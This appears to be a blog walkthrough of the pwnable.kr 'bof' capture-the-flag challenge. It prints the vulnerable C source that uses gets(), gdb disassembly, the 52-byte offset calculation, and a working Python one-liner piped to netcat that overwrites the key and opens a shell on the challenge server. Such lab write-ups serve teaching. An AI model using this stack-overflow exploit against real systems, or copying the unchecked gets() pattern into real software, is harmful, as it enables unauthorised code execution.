Pwnable.kr: ‘bof’ Walkthrough

Next up in the Pwnable.kr “Toddler’s Bottle” series is ‘bof’.

Here’s our hint:

Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?

Download : http://pwnable.kr/bin/bof

Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

nc

The “running at” line starts with “nc”, which means netcat.  Netcat’s website describes it as “a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.”

bof

If we look at the bof.c file provided in the hint, we see:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);	// smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

The program runs a function called func that is given an argument of “0xdeadbeef”.  What does func do?

It has a char array (our buffer), it prints out “overflow me : “, calls gets and then compares key (which is currently 0xdeadbeef) to 0xcafebabe.

So, somehow, we need to change the value of key.  But how?

gets

If we type man gets (lol), the description of gets is shown:

The gets() function is equivalent to fgets() with an infinite size and a stream of stdin, except that the newline character (if any) is not stored in the string.  It is the caller’s responsibility to ensure      that the input line, if any, is sufficiently short to fit in the string.

So, gets is the unsafe version of fgets because it doesn’t check the size of its input.

Variables are put on the stack such that earlier-defined variables in the code are last in memory (the stack grows upwards).  So if the local variable key is in memory after overflowme, we can keep writing to overflowme long enough to overwrite key with our special message (‘cafebabe’).

0xcafebabe

So, if we can write 32 bytes worth of data, then we can write our “0xcafebabe” message.

$ nc pwnable.kr 9000
`python -c print "'\x01'*32+'\xbe\xba\xfe\xca'"`            
*** stack smashing detected ***: /home/bof/bof terminated
overflow me :
Nah..

That didn’t work, but I got an interesting message about stack smashing.

Time for gdb

Instead of just futzing around with the number of bytes in the beginning of our input, let’s use gdb and figure out exactly how many we need.

I copied the bof file to my computer:   compiled the bof.c file into an executable:

wget pwnable.kr/bin/bof

I couldn’t run it at first, and found that I had to install some missing libraries:

apt-get install libc6-i386

And then I started gdb and loaded the file:

$ gdb bof

Disassemble all the things!

If we disassemble main, we get:

(gdb) disas main
Dump of assembler code for function main:
   0x0000068a <+0>:    push   %ebp
   0x0000068b <+1>:    mov    %esp,%ebp
   0x0000068d <+3>:    and    $0xfffffff0,%esp
   0x00000690 <+6>:    sub    $0x10,%esp
   0x00000693 <+9>:    movl   $0xdeadbeef,(%esp)
   0x0000069a <+16>:    call   0x62c <func>
   0x0000069f <+21>:    mov    $0x0,%eax
   0x000006a4 <+26>:    leave  
   0x000006a5 <+27>:    ret    
End of assembler dump.

And if we disassemble func, we get:

(gdb) disas func
Dump of assembler code for function func:
   0x0000062c <+0>:    push   %ebp
   0x0000062d <+1>:    mov    %esp,%ebp
   0x0000062f <+3>:    sub    $0x48,%esp
   0x00000632 <+6>:    mov    %gs:0x14,%eax
   0x00000638 <+12>:    mov    %eax,-0xc(%ebp)
   0x0000063b <+15>:    xor    %eax,%eax
   0x0000063d <+17>:    movl   $0x78c,(%esp)
   0x00000644 <+24>:    call   0x645 <func+25>
   0x00000649 <+29>:    lea    -0x2c(%ebp),%eax
   0x0000064c <+32>:    mov    %eax,(%esp)
   0x0000064f <+35>:    call   0x650 <func+36>
   0x00000654 <+40>:    cmpl   $0xcafebabe,0x8(%ebp)
   0x0000065b <+47>:    jne    0x66b <func+63>
   0x0000065d <+49>:    movl   $0x79b,(%esp)
   0x00000664 <+56>:    call   0x665 <func+57>
   0x00000669 <+61>:    jmp    0x677 <func+75>
   0x0000066b <+63>:    movl   $0x7a3,(%esp)
   0x00000672 <+70>:    call   0x673 <func+71>
   0x00000677 <+75>:    mov    -0xc(%ebp),%eax
   0x0000067a <+78>:    xor    %gs:0x14,%eax
   0x00000681 <+85>:    je     0x688 <func+92>
   0x00000683 <+87>:    call   0x684 <func+88>
   0x00000688 <+92>:    leave  
   0x00000689 <+93>:    ret    
End of assembler dump.

Woooo that’s a lot.

Where’s the (dead) beef?

This line in main shows “deadbeef” getting moved into the eax register:

0x00000693 <+9>:    movl   $0xdeadbeef,(%esp)

This line in func shows the 0xcafebabe comparison we’re interested in:

0x00000654 <+40>:    cmpl   $0xcafebabe,0x8(%ebp)

If we set a breakpoint in gets and run the program:

(gdb) break gets
(gdb) run
(gdb) next
Single stepping until exit from function gets,
which has no line number information
booooooof
0x56555654 in func()

We can print up the contents of $ebp+8 (from the ‘cafebabe’ line):

(gdb) x $ebp+8
0xffffd320:    0xdeadbeef

Our key address is (in my case) 0xffffd320.  Next, we need to find where the buffer starts, so we know the distance between the two.  If we write that many bytes to the buffer, and end with “cafebabe,” our new value will overwrite “deadbeef” and we’ll capture our flag.

Finding the key

We know that previously, deadbeef got copied into eax.  We see a “load effective address” (lea) assembly instruction here:

0x00000649 <+29>:    lea    -0x2c(%ebp),%eax

If we want to check $ebp-0x2c, we can type

(gdb) x/1s $ebp-0x2c
0xffffd2ec:  "booooooof"

We found it!  Now, we just need to find the difference between the two addresses:

$ python -c "print 0xffffd320-0xffffd2ec"
52

Capturing the flag

52 bytes!  Let’s modify what we tried earlier and pipe it into netcat:

$ (python -c "print '\x01'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
cat flag
daddy, I just pwned a buFFer :)